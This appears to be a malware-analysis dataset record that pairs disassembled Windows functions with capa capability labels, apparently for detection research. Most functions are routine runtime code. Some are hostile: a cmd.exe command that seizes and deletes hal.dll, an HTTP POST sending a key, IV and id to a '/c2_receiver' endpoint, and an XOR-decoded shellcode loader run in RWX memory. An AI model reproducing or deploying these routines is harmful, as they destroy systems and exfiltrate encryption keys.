joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006f5e0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140103830
mov rax, rcx
neg rcx
test rax, 7
je 0x14010384d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1401038a8
test al, 7
jne 0x140103840
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x140103861
mov rdx, qword [rax - 8]
test dl, dl
je 0x1401038d2
test dh, dh
je 0x1401038cc
shr rdx, 0x10
test dl, dl
je 0x1401038c6
test dh, dh
je 0x1401038c0
shr rdx, 0x10
test dl, dl
je 0x1401038ba
test dh, dh
je 0x1401038b4
shr edx, 0x10
test dl, dl
je 0x1401038ae
test dh, dh
jne 0x140103861
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x14006f8fb
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x1400901f0
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.14008fb70
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14009022f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14019b020]
jmp 0x140090239
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x14006fa4f
Capabilities:
Query environment variable

Disassembly:
jmp 0x1401148d0
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140114700
lea rcx, [rsp + 0x40]
call fcn.140114880
movzx eax, al
test eax, eax
jne 0x140114918
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.140114730
mov rax, qword [rsp + 0x70]
jmp 0x140114ae9
lea rcx, [rsp + 0x40]
call fcn.140114850
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.1401147f0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.140114850
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.14007046d
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1401149be
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.140114730
mov rax, qword [rsp + 0x80]
jmp 0x140114ae9
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.14006f801
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.14006f6e4
lea rcx, [rsp + 0x48]
call fcn.14006f3bf
movzx eax, al
test eax, eax
jne 0x140114a25
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.14006e785
lea rcx, [rsp + 0x40]
call fcn.140114730
mov rax, qword [rsp + 0x88]
jmp 0x140114ae9
lea rcx, [rsp + 0x48]
call fcn.14006fd06
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.140114850
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.14007046d
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x140114abb
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.14006e785
lea rcx, [rsp + 0x40]
call fcn.140114730
mov rax, qword [rsp + 0xa0]
jmp 0x140114ae9
lea rcx, [rsp + 0x48]
call fcn.14006f6c1
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.14006e785
lea rcx, [rsp + 0x40]
call fcn.140114730
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x14006fa59
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x140090120
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.14008faf0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140090161
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14019b020]
jmp 0x140090167
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x14006fae0
Capabilities:
Get geographical location

Disassembly:
jmp 0x140122540
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.140121470
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1401225a7
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x14019b030]
jmp 0x1401225c9
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.14006f365
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x14006faef
Capabilities:
Terminate process

Disassembly:
jmp 0x140078e40
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x14006fcb6
Capabilities:
Print debug messages

Disassembly:
jmp 0x14012e930
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x140189080]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x14012e956
jmp 0x14012e9d3
mov rcx, qword [rbp + 0x30]
call fcn.14006f5e0
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14012e96f
jmp 0x14012e9d3
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x14012e98c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14006e8ca
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.14006ec8f
test eax, eax
jne 0x14012e9d3
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.14006f793
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x14007005d
Capabilities:
Create process on windows
Create thread
Self delete

Disassembly:
jmp 0x140074e50
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x30]
lea rcx, [0x14019a0f4]
call fcn.140071084
nop
call qword [sym.imp.KERNEL32.dll_FreeConsole]
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, str._k_takeown__f_c:windows_system32hal.dll__icacls_c:windows_system32hal.dll__grant_Everyone:_F___del_c:windows_system32hal.dll__f
lea r8, str.cmd.exe
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14006e0fa]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
mov ecx, 0x2af8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x14007012f
Capabilities:
Parse pe header

Disassembly:
jmp 0x140076430
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140076450
xor al, al
jmp 0x1400764d1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140076463
xor al, al
jmp 0x1400764d1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14007648d
xor al, al
jmp 0x1400764d1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400764a1
xor al, al
jmp 0x1400764d1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400764b3
xor al, al
jmp 0x1400764d1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400764cf
xor al, al
jmp 0x1400764d1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400705f8
Capabilities:
Terminate process

Disassembly:
jmp 0x140104260
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x14010428e
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.140070d00
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140070d5f
Capabilities:
Print debug messages

Disassembly:
jmp 0x14010c4c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x140070e04
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x140090260
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.14008fbb0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400902a9
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14019b020]
jmp 0x1400902b8
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x140070e9a
Capabilities:
Set environment variable

Disassembly:
jmp 0x1401317e0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.14006f24d
lea rcx, [rsp + 0x48]
call fcn.14006f24d
call fcn.14006f9ff
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.14006f06d
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x14013184f
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.14006f50e
lea rcx, [rsp + 0x78]
call fcn.14006f50e
mov eax, dword [rsp + 0x24]
jmp 0x1401318e0
call fcn.14006f9ff
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.14006f06d
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x140131896
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.14006f50e
lea rcx, [rsp + 0x78]
call fcn.14006f50e
mov eax, dword [rsp + 0x2c]
jmp 0x1401318e0
lea rcx, [rsp + 0x48]
call fcn.14006f1d0
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.14006f1d0
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.14006f50e
lea rcx, [rsp + 0x78]
call fcn.14006f50e
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret
Function at 0x14013f500
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.14006e8ca
sub rsp, rax
mov rax, qword [0x140189080]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14018bbf0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x14013f6f2
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x14013f646
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x14013f646
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x14013f62b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x14013f5c8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14013f6b2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14013f711
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x14013f6ed
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14013f711
jmp 0x14013f59e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14006f793
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x14013f7c0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.14006e8ca
sub rsp, rax
mov rax, qword [0x140189080]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x14018bbf0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x14013f9cd
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x14013f919
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x14013f919
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x14013f8f9
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x14013f888
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14013f98d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14013f9ec
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x14013f9c8
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14013f9ec
jmp 0x14013f85e
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14006f793
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140001c10
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push rbx
push rsi
push rdi
push r12
push r15
sub rsp, 0x1e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov r15, r8
mov rdi, rdx
mov rsi, rcx
xor ebx, ebx
xor r8d, r8d
mov dword [rsp + 0x20], ebx
mov edx, 1
lea rcx, str.TLD13Browser_12.0
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
je 0x140001e34
mov qword [rsp + 0x38], rbx
lea rdx, str.xmb.pythonanywhere.com
mov dword [rsp + 0x30], ebx
mov r8d, 0x1bb
mov qword [rsp + 0x1d8], r13
xor r9d, r9d
mov qword [rsp + 0x1d0], r14
mov rcx, rax
mov r14d, 3
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r13, rax
test rax, rax
je 0x140001e1b
mov qword [rsp + 0x38], rbx
lea r8, str._c2_receiver
mov dword [rsp + 0x30], 0x800000
lea rdx, str.POST
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140001e12
mov qword [rsp + 0x228], rbp
lea rbx, [rsp + 0x70]
mov ebp, 0x20
nop dword [rax]
nop word [rax + rax]
movzx r8d, byte [rsi]
lea rdx, str._02x
mov rcx, rbx
call fcn.140001060
add rbx, 2
lea rsi, [rsi + 1]
sub rbp, 1
jne 0x140001d10
mov rbp, qword [rsp + 0x228]
lea rbx, [rsp + 0x48]
mov esi, 0x10
nop dword [rax]
nop word [rax + rax]
movzx r8d, byte [rdi]
lea rdx, [0x1400060dc]
mov rcx, rbx
call fcn.140001060
add rbx, 2
lea rdi, [rdi + 1]
sub rsi, 1
jne 0x140001d50
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], r15
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r8, str._key_:__s___iv_:__s___id_:__s_
mov edx, pe_nt_image_headers64
lea rcx, [rsp + 0xc0]
call fcn.1400010c0
mov rbx, qword [rsp + 0x40]
lea rdi, str.Content_Type:_application_json
nop word [rax + rax]
lea rcx, [rsp + 0xc0]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140001dc0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], 0
jne 0x140001dd0
lea r9, [rsp + 0xc0]
mov dword [rsp + 0x20], eax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x140001e09
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
dec r14d
test r14d, r14d
jg 0x140001db0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r13, qword [rsp + 0x1d8]
mov r14, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.140002190
add rsp, 0x1e0
pop r15
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140b2f570]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140b2f580]
mov dword [rax], 1
mov rax, qword [0x140b2f590]
mov dword [rax], 1
mov rax, qword [0x140b2f510]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140b2f560]
mov dword [0x140b3200c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140b2f640]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140b2f620]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140b2f4c0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov eax, 0xb2b1a0
call fcn.140002670
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xb2b130], ecx
mov qword [rbp + 0xb2b138], rdx
call sym.__main
cmp dword [rbp + 0xb2b130], 2
jne 0x1400015df
lea rax, [rbp - 0x50]
lea rdx, section..rdata
mov ecx, 0xb2b145
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0xb2b0f9], 0x72636573
mov dword [rbp + 0xb2b0fc], 0x746572
mov dword [rbp + 0xb2b114], 0xb2b145
mov dword [rbp + 0xb2b110], 7
mov dword [rbp + 0xb2b11c], 0
mov dword [rbp + 0xb2b118], 0
jmp 0x140001538
mov eax, dword [rbp + 0xb2b110]
lea edx, [rax - 1]
mov eax, dword [rbp + 0xb2b11c]
cmp edx, eax
jne 0x1400014fb
mov dword [rbp + 0xb2b11c], 0
mov eax, dword [rbp + 0xb2b118]
cdqe
movzx eax, byte [rbp + rax - 0x50]
mov edx, eax
mov eax, dword [rbp + 0xb2b11c]
cdqe
movzx eax, byte [rbp + rax + 0xb2b0f9]
xor eax, edx
mov edx, eax
mov eax, dword [rbp + 0xb2b118]
cdqe
mov byte [rbp + rax - 0x50], dl
add dword [rbp + 0xb2b11c], 1
add dword [rbp + 0xb2b118], 1
mov eax, dword [rbp + 0xb2b118]
cmp eax, dword [rbp + 0xb2b114]
jb 0x1400014de
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0xb2b145
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xb2b108], rax
lea rax, [rbp - 0x50]
mov rcx, qword [rbp + 0xb2b108]
mov r8d, 0xb2b145
mov rdx, rax
call sym.memmove
mov rax, qword [rbp + 0xb2b108]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0xb2b100], rax
mov rax, qword [rbp + 0xb2b100]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
jmp 0x1400015e4
mov eax, 0
add rsp, 0xb2b1a0
pop rbp
ret

Function at 0x1400018b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, [0x140b2f300]
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]